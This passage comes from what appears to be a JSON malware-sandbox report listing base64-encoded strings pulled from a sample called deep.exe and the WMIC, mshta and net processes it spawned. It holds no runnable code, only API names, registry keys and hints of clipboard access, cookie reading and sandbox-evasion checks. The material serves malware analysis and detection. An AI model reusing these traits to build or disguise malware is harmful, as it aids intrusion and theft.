Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"T09CRUluUHJvZ3Jlc3M=","type":"Unicode","source":"Runtime Data","process":"deep.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"T3BlbkNsaXBib2FyZA==","type":"Ansi","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"T3BlblByb2Nlc3NUb2tlbg==","type":"Ansi","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"T3BlcmF0aW5nIFN5c3RlbQ==","type":"Unicode","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.00A3D000.00000002.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"T1BFUlRZQ09VTlQ=","type":"Unicode","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"b3B5cmlnaHQ=","type":"Unicode","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.00A3D000.00000002.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"T3E1YCBNIyhW","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"T1ImIHBua28=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"T3JpZ2luYWxGaWxlbmFtZQ==","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"b1RbPUZMQTo=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"T3V0cHV0RGVidWdTdHJpbmdB","type":"Ansi","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"UGFja2VkQ2F0YWxvZ0l0ZW0=","type":"Unicode","source":"Runtime Data","process":"WMIC.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"UGFnZV9UcmFuc2l0aW9ucw==","type":"Unicode","source":"Runtime Data","process":"mshta.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"UGFnZUFsbG9jYXRvclN5c3RlbUhlYXBJc1ByaXZhdGU=","type":"Unicode","source":"Runtime Data","process":"deep.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"UGFnZUFsbG9jYXRvclVzZVN5c3RlbUhlYXA=","type":"Unicode","source":"Runtime Data","process":"deep.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"UGFyYW1ldGVycw==","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"UGFyZW50Rm9sZGVy","type":"Unicode","source":"Runtime Data","process":"deep.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"UGFyc2luZ05hbWU=","type":"Unicode","source":"Runtime Data","process":"deep.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"cGF5bWVudA==","type":"Ansi","source":"Image Processing","process":null,"filename":"screen_2.png","compromised":null,"detection_total":null,"total":null},{"value":"UEU9InN0cmluZyI+PFZBTFVFPjwhW0NEQVRBWyVzIDwvVkFMVUU+PC9QUk9QRVJUWT4=","type":"Unicode","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"cGVkaXkwNg==","type":"Unicode","source":"Runtime Data","process":"deep.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"UGVyY2VpdmVkVHlwZQ==","type":"Unicode","source":"Runtime Data","process":"notepad.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"cGVyc29uYWw=","type":"Ansi","source":"Image Processing","process":null,"filename":"screen_2.png","compromised":null,"detection_total":null,"total":null},{"value":"UGVyVXNlckNvb2tpZXM=","type":"Unicode","source":"Runtime Data","process":"WMIC.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"UGVyVXNlckl0ZW0=","type":"Unicode","source":"Runtime Data","process":"WMIC.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"cGZwTUNYXEkkeG4=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"UGluVG9OYW1lU3BhY2VUcmVl","type":"Unicode","source":"Runtime Data","process":"deep.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"UEtUSU5URUdSSVRZ","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"UEtUUFJJVkFDWQ==","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"UGxgdE1uNCVOJSRq","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"UGxheV9BbmltYXRpb25z","type":"Unicode","source":"Runtime Data","process":"mshta.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"UGxheV9CYWNrZ3JvdW5kX1NvdW5kcw==","type":"Unicode","source":"Runtime Data","process":"mshta.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"UHJlQ3JlYXRl","type":"Unicode","source":"Runtime Data","process":"deep.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"UHJlZmVyRXh0ZXJuYWxNYW5pZmVzdA==","type":"Unicode","source":"Runtime Data","process":"deep.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"UHJlZmVycmVkVUlMYW5ndWFnZXM=","type":"Unicode","source":"Runtime Data","process":"deep.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"UHJpbnRfQmFja2dyb3VuZA==","type":"Unicode","source":"Runtime Data","process":"mshta.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"UHJpdmF0ZUtleUxpZmV0aW1lU2Vjb25kcw==","type":"Unicode","source":"Runtime Data","process":"mshta.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"UFJJVklMRUdFUw==","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"UHJpdktleUNhY2hlTWF4SXRlbXM=","type":"Unicode","source":"Runtime Data","process":"mshta.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"UHJpdktleUNhY2hlUHVyZ2VJbnRlcnZhbFNlY29uZHM=","type":"Unicode","source":"Runtime Data","process":"mshta.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"UHJvY2VzcyBNb25pdG9yIC0gU3lzaW50ZXJuYWxzOiB3d3cuc3lzaW50ZXJuYWxzLmNvbQ==","type":"Unicode","source":"Runtime Data","process":"deep.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"UHJvY2Vzc0lE","type":"Unicode","source":"Runtime Data","process":"WMIC.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"UFJPQ01PTl9XSU5ET1dfQ0xBU1M=","type":"Unicode","source":"Runtime Data","process":"deep.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"UHJvZHVjdE5hbWU=","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"UHJvZHVjdFZlcnNpb24=","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"UHJvZmlsZUltYWdlUGF0aA==","type":"Unicode","source":"Runtime Data","process":"deep.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"UHJvcGVydGllcw==","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"UHJvdmlkZXJGbGFncw==","type":"Unicode","source":"Runtime Data","process":"net.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"UHJvdmlkZXJJZA==","type":"Unicode","source":"Runtime Data","process":"WMIC.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"UHJvdmlkZXJJbmZv","type":"Unicode","source":"Runtime Data","process":"WMIC.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"UHJvdmlkZXJPcmRlcg==","type":"Unicode","source":"Runtime Data","process":"deep.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"UHJvdmlkZXJQYXRo","type":"Unicode","source":"Runtime Data","process":"deep.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"UHJvdmlkZXJUeXBl","type":"Unicode","source":"Runtime Data","process":"net.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"UHJveHlCeXBhc3M=","type":"Unicode","source":"Runtime Data","process":"deep.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"UHJveHlIdHRwMS4x","type":"Unicode","source":"Runtime Data","process":"WMIC.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"UFNQVUJXUy1QQw==","type":"Ansi","source":"PCAP Processing","process":null,"filename":"network.pcap","compromised":null,"detection_total":null,"total":null},{"value":"UHVibGlzaEV4cGFuZGVkUGF0aA==","type":"Unicode","source":"Runtime Data","process":"deep.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"cHd3d3d3d3d3","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"UHo5J3czOjArWQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"cSc1O2V7d18uQA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"UTpEeXV5OW9g","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"UV5VYGknbzgs","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"UWNwRCFlOSEr","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"UURpVT5fZEww","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"UWZpLDVfek0y","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"UVAnWSRLVi5S","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"UXVhbGlmaWVycw==","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"UXVhbGlmaWVyVmFsdWU=","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"UXVlcnlGb3JJbmZvVGlw","type":"Unicode","source":"Runtime Data","process":"deep.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"UXVlcnlGb3JPdmVybGF5","type":"Unicode","source":"Runtime Data","process":"deep.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"UXVlcnlJbnRlcmZhY2UoSUlEX0lXYmVtQ2xhc3NPYmplY3QsIC0p","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"UXVlcnlQZXJmb3JtYW5jZUNvdW50ZXI=","type":"Ansi","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"UXt1VlYyV3pt","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"clwnUlRRaGl9bQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"UmFpc2VEZWZhdWx0QXV0aG5MZXZlbA==","type":"Unicode","source":"Runtime Data","process":"mshta.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"cmF5R2V0TEJvdW5kKC0sIDEsIC0p","type":"Unicode","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"UkVcTWljcm9zb2Z0XFdiZW1cQ0lNT00=","type":"Unicode","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"UmVhZENvbnNvbGVX","type":"Ansi","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"UmVjZWl2ZVRpbWVPdXQ=","type":"Unicode","source":"Runtime Data","process":"WMIC.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"UmVnQ2xvc2VLZXk=","type":"Ansi","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"cmVnaXN0ZXIs","type":"Ansi","source":"Image Processing","process":null,"filename":"screen_2.png","compromised":null,"detection_total":null,"total":null},{"value":"UmVnaXN0cnkgTW9uaXRvciAtIFN5c2ludGVybmFsczogd3d3LnN5c2ludGVybmFscy5jb20=","type":"Unicode","source":"Runtime Data","process":"deep.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"UmVnbW9uQ2xhc3M=","type":"Unicode","source":"Runtime Data","process":"deep.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"UmVnT3BlbktleUV4Vw==","type":"Ansi","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"UmVnUXVlcnlWYWx1ZUV4Vw==","type":"Ansi","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"UmVsYXRpdmVQYXRo","type":"Unicode","source":"Runtime Data","process":"deep.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"UmVtb3RlUGF0aA==","type":"Unicode","source":"Runtime Data","process":"net.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"UmVtb3RlUnBjRGxs","type":"Unicode","source":"Runtime Data","process":"mshta.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"UmVzdHJpY3RlZEF0dHJpYnV0ZXM=","type":"Unicode","source":"Runtime Data","process":"deep.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"UmVzdWx0OiAgJXM=","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"UkVTVUxUPjB4JXg8L0hSRVNVTFQ+","type":"Unicode","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"UkVTVUxUQ0xBU1M=","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"UmVzdWx0Q2xhc3MgPQ==","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"UkVTVUxUUk9MRQ==","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"UmVzdWx0Um9sZSA9","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"cm9jZXNzb3IoLSk=","type":"Unicode","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"cm9jZXNzb3I6OnB1dF9pbnB1dCgtKQ==","type":"Unicode","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"cm9vdFxjaW12Mg==","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"cm9yICh0aGUgZXJyb3JsZXZlbCBpcyB1dGlsaXR5IHNwZWNpZmljKQ==","type":"Unicode","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"ck9WIWpsPE8o","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"UnBjQ2FjaGVUaW1lb3V0","type":"Unicode","source":"Runtime Data","process":"net.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"cnE7Pjhtfko=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"UnRmQ29udmVydGVyRmxhZ3M=","type":"Unicode","source":"Runtime Data","process":"mshta.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"UndEWEwpSjoy","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"UldZbUU6cSI/Yw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"cydJcmtGYmNv","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"UypvbVJbLn5k","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"Uy80PHEoalsv","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"U2Fjfl1FPGpi","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"U2FmZUFycmF5R2V0RWxlbWVudCgtLCAtLCAtKQ==","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"U2FmZUFycmF5R2V0TEJvdW5kKC0sIC0sIC0p","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"U2FmZUFycmF5R2V0TEJvdW5kKC0sIDEsIC0p","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"U2FmZUFycmF5R2V0VUJvdW5kKC0sIC0sIC0p","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"U2FmZUFycmF5R2V0VUJvdW5kKC0sIDEsIC0p","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"U2FmZUFycmF5UHV0RWxlbWVudCgtLCAtLCAtKQ==","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"U2FmZURsbFNlYXJjaE1vZGU=","type":"Unicode","source":"Runtime Data","process":"deep.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"U2FmZVByb2Nlc3NTZWFyY2hNb2Rl","type":"Unicode","source":"Runtime Data","process":"deep.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"U2F2ZUNvbm5lY3Rpb25z","type":"Unicode","source":"Runtime Data","process":"net.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"c0MwcUhWZCI=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"U2NhdmVuZ2VDYWNoZUZpbGVMaWZlVGltZQ==","type":"Unicode","source":"Runtime Data","process":"WMIC.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"U2NhdmVuZ2VDYWNoZUZpbGVMaW1pdA==","type":"Unicode","source":"Runtime Data","process":"WMIC.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"U2NhdmVuZ2VDYWNoZUxvd2VyQm91bmQ=","type":"Unicode","source":"Runtime Data","process":"WMIC.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"U2NoZW1hT25seQ==","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"U2VjdXIzMi5kbGw=","type":"Ansi","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"U2VjdXJlUHJvdG9jb2xz","type":"Unicode","source":"Runtime Data","process":"WMIC.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"c2VjdXJpdHk=","type":"Ansi","source":"Image Processing","process":null,"filename":"screen_2.png","compromised":null,"detection_total":null,"total":null},{"value":"U2VjdXJpdHk=","type":"Unicode","source":"Runtime Data","process":"deep.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"U2VjdXJpdHlfSEtMTV9vbmx5","type":"Unicode","source":"Runtime Data","process":"deep.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"U0VMRUNUICogRlJPTQ==","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"U0VMRUNUICogRlJPTSBNU0ZUX0NsaUFsaWFz","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"U0VMRUNUICogRlJPTSBNU0ZUX0NsaVRyYW5zbGF0ZVRhYmxl","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"U2VuZEV4dHJhQ1JMRg==","type":"Unicode","source":"Runtime Data","process":"WMIC.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"U2VuZFRpbWVPdXQ=","type":"Unicode","source":"Runtime Data","process":"WMIC.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"U2VwYXJhdGVQcm9jZXNz","type":"Unicode","source":"Runtime Data","process":"deep.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"U0VRVUVOQ0VOVU0=","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"U2VyaWFsX0FjY2Vzc19OdW0=","type":"Unicode","source":"Runtime Data","process":"WMIC.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"U2VydmVySW5mb1RpbWVvdXQ=","type":"Unicode","source":"Runtime Data","process":"WMIC.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"U2Vzc2lvbk1lcmdpbmc=","type":"Unicode","source":"Runtime Data","process":"mshta.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"U2Vzc2lvblN0YXJ0VGltZURlZmF1bHREZWx0YVNlY3M=","type":"Unicode","source":"Runtime Data","process":"WMIC.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"U2V0Q2xpcGJvYXJkRGF0YQ==","type":"Ansi","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"U2V0Q29uc29sZUN0cmxIYW5kbGVy","type":"Ansi","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"U2V0Q29uc29sZUN1cnNvclBvc2l0aW9u","type":"Ansi","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"U2V0Q29uc29sZU1vZGU=","type":"Ansi","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"U2V0Q29uc29sZVNjcmVlbkJ1ZmZlclNpemU=","type":"Ansi","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"U2V0RmlsZVBvaW50ZXI=","type":"Ansi","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"U2V0TGFzdEVycm9y","type":"Ansi","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"U2V0VGhyZWFkVUlMYW5ndWFnZQ==","type":"Ansi","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"U2V0VW5oYW5kbGVkRXhjZXB0aW9uRmlsdGVy","type":"Ansi","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"U2V0V29ya2luZ0RpcmVjdG9yeUZyb21UYXJnZXQ=","type":"Unicode","source":"Runtime Data","process":"deep.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"U0YvWipmT1k=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"U2hhcmVDcmVkc1dpdGhXaW5IdHRw","type":"Unicode","source":"Runtime Data","process":"WMIC.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"U2hlbGxTdGF0ZQ==","type":"Unicode","source":"Runtime Data","process":"deep.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"U0hMV0FQSS5kbGw=","type":"Ansi","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"U2hvdyBpbWFnZSBwbGFjZWhvbGRlcnM=","type":"Unicode","source":"Runtime Data","process":"mshta.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"U2hvd0NvbXBDb2xvcg==","type":"Unicode","source":"Runtime Data","process":"deep.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"U2hvd0luZm9UaXA=","type":"Unicode","source":"Runtime Data","process":"deep.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"U2hvd1N1cGVySGlkZGVu","type":"Unicode","source":"Runtime Data","process":"deep.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"U2hvd1R5cGVPdmVybGF5","type":"Unicode","source":"Runtime Data","process":"deep.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"U2lnbmF0dXJl","type":"Unicode","source":"Runtime Data","process":"WMIC.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"U21hcnREaXRoZXJpbmc=","type":"Unicode","source":"Runtime Data","process":"mshta.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"U21vb3RoU2Nyb2xs","type":"Unicode","source":"Runtime Data","process":"mshta.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"c09iamVjdDo6R2V0KEwiTmFtZSIsIDAsIC0sIDAsIDAp","type":"Unicode","source":"Memory/File 